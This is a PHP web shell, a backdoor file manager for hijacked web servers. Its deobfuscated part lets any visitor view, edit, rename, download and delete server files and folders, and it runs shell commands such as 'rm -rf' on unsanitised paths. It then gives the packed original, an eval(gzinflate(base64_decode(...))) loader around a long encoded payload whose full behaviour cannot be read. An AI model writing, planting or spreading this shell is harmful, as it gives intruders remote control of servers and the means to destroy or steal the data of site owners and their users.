                                    $act = "<script>window.location='?act=edit&dir=" . path() . "&file=" . $_POST['filename'] . "';</script>";
                                } else {
                                    $act = color(1, 1, "Permission Denied!");
                                }
                            }
                            print $act;
                            print "<form method='post'>\r\n\t\t\tFilename: <input type='text' name='filename' value='" . path() . "/newfile.php' style='width: 450px;' height='10'>\r\n\t\t\t<input type='submit' class='input' name='save' value='SUBMIT'>\r\n\t\t\t</form>";
                        } elseif ($_GET['act'] === 'newfolder') {
                            if ($_POST['save']) {
                                $foldername = path() . '/' . htmlspecialchars($_POST['foldername']);
                                if (!@mkdir($foldername)) {
                                    $act = color(1, 1, "Permission Denied!");
                                } else {
                                    $act = "<script>window.location='?dir=" . path() . "';</script>";
                                }
                            }
                            print $act;
                            print "<form method='post'>\r\n\t\t\tFolder Name: <input type='text' name='foldername' style='width: 450px;' height='10'>\r\n\t\t\t<input type='submit' class='input' name='save' value='SUBMIT'>\r\n\t\t\t</form>";
                        } elseif ($_GET['act'] === 'rename_folder') {
                            if ($_POST['save']) {
                                $rename_folder = rename(path(), "" . dirname(path()) . DIRECTORY_SEPARATOR . htmlspecialchars($_POST['foldername']));
                                if ($rename_folder) {
                                    $act = "<script>window.location='?dir=" . dirname(path()) . "';</script>";
                                } else {
                                    $act = color(1, 1, "Permission Denied!");
                                }
                                print "{$act}<br>";
                            }
                            print "<form method='post'>\r\n\t\t\t<input type='text' value='" . basename(path()) . "' name='foldername' style='width: 450px;' height='10'>\r\n\t\t\t<input type='submit' class='input' name='save' value='RENAME'>\r\n\t\t\t</form>";
                        } elseif ($_GET['act'] === 'delete_folder') {
                            if (is_dir(path())) {
                                if (is_writable(path())) {
                                    @rmdir(path());
                                    if (!@rmdir(path()) and OS() === "Linux") {
                                        @exe("rm -rf " . path());
                                    }
                                    if (!@rmdir(path()) and OS() === "Windows") {
                                        @exe("rmdir /s /q " . path());
                                    }
                                    $act = "<script>window.location='?dir=" . dirname(path()) . "';</script>";
                                } else {
                                    $act = color(1, 1, "Could not remove directory '" . basename(path()) . "'");
                                }
                            }
                            print $act;
                        } elseif ($_GET['act'] === 'view') {
                            print "Filename: " . color(1, 2, basename($_GET['file'])) . " [" . writeable($_GET['file'], perms($_GET['file'])) . "]<br>";
                            print "[ <a href='?act=view&dir=" . path() . "&file=" . $_GET['file'] . "'><b>view</b></a> ] [ <a href='?act=edit&dir=" . path() . "&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=" . path() . "&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir=" . path() . "&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=" . path() . "&file=" . $_GET['file'] . "'>delete</a> ]<br>";
                            print "<textarea readonly>" . htmlspecialchars(@file_get_contents($_GET['file'])) . "</textarea>";
                        } elseif ($_GET['act'] === 'edit') {
                            if ($_POST['save']) {
                                $save = file_put_contents($_GET['file'], $_POST['src']);
                                if ($save) {
                                    $act = color(1, 2, "File Saved!");
                                } else {
                                    $act = color(1, 1, "Permission Denied!");
                                }
                                print "{$act}<br>";
                            }
                            print "Filename: " . color(1, 2, basename($_GET['file'])) . " [" . writeable($_GET['file'], perms($_GET['file'])) . "]<br>";
                            print "[ <a href='?act=view&dir=" . path() . "&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=" . path() . "&file=" . $_GET['file'] . "'><b>edit</b></a> ] [ <a href='?act=rename&dir=" . path() . "&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=download&dir=" . path() . "&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=" . path() . "&file=" . $_GET['file'] . "'>delete</a> ]<br>";
                            print "<form method='post'>\r\n\t\t\t<textarea name='src'>" . htmlspecialchars(@file_get_contents($_GET['file'])) . "</textarea><br>\r\n\t\t\t<input type='submit' class='input' value='SAVE' name='save' style='width: 500px;'>\r\n\t\t\t</form>";
                        } elseif ($_GET['act'] === 'rename') {
                            if ($_POST['save']) {
                                $rename = rename($_GET['file'], path() . DIRECTORY_SEPARATOR . htmlspecialchars($_POST['filename']));
                                if ($rename) {
                                    $act = "<script>window.location='?dir=" . path() . "';</script>";
                                } else {
                                    $act = color(1, 1, "Permission Denied!");
                                }
                                print "{$act}<br>";
                            }
                            print "Filename: " . color(1, 2, basename($_GET['file'])) . " [" . writeable($_GET['file'], perms($_GET['file'])) . "]<br>";
                            print "[ <a href='?act=view&dir=" . path() . "&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=" . path() . "&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=" . path() . "&file=" . $_GET['file'] . "'><b>rename</b></a> ] [ <a href='?act=download&dir=" . path() . "&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=" . path() . "&file=" . $_GET['file'] . "'>delete</a> ]<br>";
                            print "<form method='post'>\r\n\t\t\t<input type='text' value='" . basename($_GET['file']) . "' name='filename' style='width: 450px;' height='10'>\r\n\t\t\t<input type='submit' class='input' name='save' value='RENAME'>\r\n\t\t\t</form>";
                        } elseif ($_GET['act'] === 'delete') {
                            $delete = unlink($_GET['file']);
                            if ($delete) {
                                $act = "<script>window.location='?dir=" . path() . "';</script>";
                            } else {
                                $act = color(1, 1, "Permission Denied!");
                            }
                            print $act;
                        }
                    } else {
                        files_and_folder();
                    }
                }
                serverinfo();
                action();
            };
        };
    };
};


Original code

<?php eval(gzinflate(base64_decode("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